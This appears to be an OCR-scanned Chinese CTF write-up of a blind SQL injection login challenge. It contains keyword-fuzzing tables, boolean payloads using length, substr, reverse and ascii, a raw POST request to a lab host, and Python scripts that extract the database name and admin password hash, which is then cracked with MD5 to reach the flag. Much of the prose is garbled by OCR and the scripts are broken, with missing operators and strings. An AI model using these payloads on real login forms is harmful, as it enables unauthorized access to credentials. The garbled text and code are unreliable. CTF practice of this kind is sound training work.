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select from users;

ERES () #fT5

select(id)from(users);

B % %0a HET 401
mysql> select

from
users
where
id 1;
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select id from users where id =1;

XEEES, FAfuzzE T . M, FUERES ()Tl
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SUBSTR(string FROM start FOR length)
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password

username

SeF admin «  admin iR —iR



Login

password error!

admin

Log In

HEIRFE, SLEHGR%EN, admin' or 1=1 #. admin

illegal character

admin' or 1=1 #

Log In
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Attack Save Columns
J Results T Target I Positions [ Payloads [ Options ]

! ‘ Filter Showing all items ‘ ?
Request | Payload Status |Error | Timeout |Length 4| Comment
1 : 200 O ] 1016 [a
10 * 200 O O 1016 h
15 = 200 O O 1016
16 + 200 O O 1016

Nl 23 N 200 0 0 1016

|| 27 . 200 O O 1016 %
33 200 0 0 1016
35 —+ 200 O [l 1016
36 f==f 200 O O 1016
41 and 200 O O 1016
A8 union 200 O O 1016
50 where 200 OJ ] 1016

I 58 is 200 O O 1016
60 like: 200 0 0 1016
61 rlike 200 O O 1016
64 distinct 200 O O 1016
69 information 200 O ] 1016
76 handler 200 O O 1016
89 file 200 0 0 1016
90 outfile 200 O O 1016
91 load_file 200 0 0 1016
0 200 O O 1023
2 ~ 200 O O 1023
3 ! 200 O ] 1023 .
A @ 200 | | 1095 b}

Ho KN 1026 B RIBRRA EEFER
KEHN 1023 WREIEFK, BHAHITIEN



L
Request |Payload Status  |Error | Timeout |Length 4| Comment
BT UPOETER 200 O O TOZ3
a2 extractvalue 200 J J 1023
83 regexp 200 J J 1023
| &4 floor 200 O O 1023
||| 85 having 200 O O 1023
I 86 between 200 O O 1023
a7 into 200 O O 1023
88 join 200 O O 1023
g2 create 200 J J 1023
a3 drop 200 O O 1023
94 convert 200 J J 1023
| a5 cast 200 O O 1023
96 show 200 O O 1023
Il a7 user 200 ] ] 1023
08 pa_sleep 200 O O 1023
99 reverse 200 ] ] 1023
100 execute 200 ] ] 1023
101 open 200 O O 1023
| 102 read 200 O O 1023
11103 first 200 O O 1023
11104 case 200 O O 1023
1056 end 200 O O 1023
106 then 200 O O 1023
107 iconv 200 O O 1023
108 greatest 200 ] ] 1023
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id users
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XEHE, A a LLK admin

Login

username does not exist!

Log In

XA E B & username does not exist!

TIRT 2L 2 B 5N admin IR, FS45RAT, [EE password error!
Fuk, ATCAFIAX—R, #THREE
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MREE—BRMNBREIEFEKEIFE (B length(database()) )

TR P ZAEN: a'or(length(database())>0)#



Login

password error!
a'or(length(database())>0)#

admin

Log In

A LAE R, EET password error!

223X a'or(length(database())>10)#

Login

username does not exist!

a'or(length(database())>10)#

admin

Log In

[E {2 username does not exist!

XEAUEET TGRSR, FrANERA

BAPRH KR a'or(length(database())>7)# 4 password error!
a'or(length(database())>8)# /& username does not exist!
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X substr XANEE, HTREAINSH, FRFTEAFNMESHEIT, BEORAMRRPE HERASEGH

A, substr XANEELEEF B —AHENT:

SUBSTR(string length
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FIH reverse & #

EXABHEZE S reverse B AT DUREIE B 2 K

reverse(substr
reverse(substr
reverse(substr

reverse(substr

Fril, B EXJLABAT AR EILLT payload

a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))<>97)#

FANES = gl T, UMERAES o, NESREXR

HEAT A ZEANUTER BARSEELTRRE - TFRREN a

a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))<>97)#

REITF

Login

password error!

a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))<>

Login

B[ T password error! , IEBAEUIREBRE —NERELE a
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or JETHKIZ&MM R ANE, RIE password error! , HIRNME, i&[E username does not exist!
&[] password error! =>HE—NFEAET a

g b: MR username does not exist! HIEHE, LLESpayload = ¥ B3R AR E K 75
i

import requests

i
for k in dic:
username
(k))
data

. username,

}

res requests.post( url , data=data)

if in res.text:
ans k
print(ans)

D:\Software_installation\anaconda
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bl
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blind
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import requests

payload
data {
: payload,

}
length_res requests.post(url, data=data)

if in length_res.text:
print( (1))
length i

break

(1, length 1):
length 1 i
k in dic:
username
(k))
data {

. username,

}

res requests.post( url , data=data)
if in res.text:
ENIS k

print(ans)

BITERMNT: BIEERAN 5.1.73

length(version) =

XL T information KT, FTUATIEM A TEREKTIEER

I BHEE R A *<6.7", FrA A @A A where iHHHIT XER
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#7344 LA T 3Mpayload, (HERAHE=ZMERTH, EANHIMAEEILIE T




a'or(exists(select(*)from(blindsql.test)))
a'or((blindsql.test)is(null))

'or(length((select(group_concat(flag))from(blindsql.test)))>0)

HoflagRFB4, testRRA

B M requestil F :

POST /index.php HTTP/1.1

Host: 114.67.246.176:19794

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;gq=0.7,zh-HK;gq=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 123

Origin: http://114.67.246.176:19794

Connection: close

Referer: http://114.67.246.176:19794/index.php

Upgrade-Insecure-Requests: 1

username=a%27or%28length%28%28select%28group_concat%28password%29%29from%28blindsql.admin%29%29%29%3E0%29%23&pas
sword=admin

BRBESRWT:
‘FNEE Showing all items ‘ 2§
=
Request | Payload1 | Payload2 | Status | Error | Timeout | Length Al Comment
2279 password admin 200 [l J 1014 A I'E
3995 test Kissy 200 J L 1016 t) k
4000 aaaALrAT1 Kissy 200 J [ 1016 ]
3999 password kissy 200 O O 1016 |
3908 test2 Kissy 200 [} [} 1016
3997 test123 Kissy 200 J [ 1016
3996 testi Kissy 200 J [ 1016
3994 roots kKissy 200 J [ 1016
3993 root Kissy 200 J [ 1016 1
3902 admins Kissy 200 [} L 1016 s
. . ¥
:w1 fait I e Talal (| [ ANAE =
j Request T Response ]
J Raw T Params T Headers T Hex ]
POST findex php HTTPA 1 h
Host: 114 67 246.176:19794 P
User-Agent: Mozillais.0 (Windows NT 6.1; Wing4; x84; rv:88 .0) Gecko/20100101 Firefox/38.0
Accept: text/html applicationixhtml+xml applicationfml; g=0.9 imageiwebp **g=0.8
Accept-Language: zh-CM zh;g=0.8 zh-TW,q=0.7 zh-HK;g=0.5 gn-US;q=0 3 en,g=0.2
| Accept-Encoding gzip, deflate
Content-Type: applicationf-www-form-urlencoded
Content-Length: 123
Crigin: hitp: (114.67.246.176:19794
Connection: close
Referer: http:/M14 67 24617619794 ndex php
Upgrade-Insecure-Reqguests: 1
username=a%27or%28length%28%28zelect % 28group_concat %28 password%29% 29 from % 28hklindsgl admine29% 209% 20% 3E0% 20 % 238 pass word=admin

LAER, BIERAN: admin, FBH N password
Bw



—RBR MBI E. BIER. FERTHR, payloadi ™

(select group_concat(password) from security.users)

1% security iR E F MusersHidE & F Kpassword F B R K AT iE

FrbAXt FXIER, payloadA:

(select(group_concat(password))from(blindsql.admin))

PR A T«

import requests

for i in (1, 33):
Jj 33 -1
for k in dic:
username
(1) (3)
data {

. username,

}

res requests.post( url , data=data)

if in res.text:
ENIS k

print(ans)

BUESRWT:

sql_blind_injection
4de
4dc
4dc
4de

4dc

4dc

cc88F8f1bcO5e7c

R %R N: 4dcc88f8f1bc05e7c2ad1a60288481a2

md5fR% 51838 BN bugkuctf



4dcc88f8f1bc05e7c2ad1a60288481a2

md5

bugkuctf

13 3iflag

flag’hy: flag{@783e3ac3572ace94fe026574e0d6c7a}

Login

Oh you get it
flag{0783e3ac3572ace94fe026574e0d6c7a}

password

username
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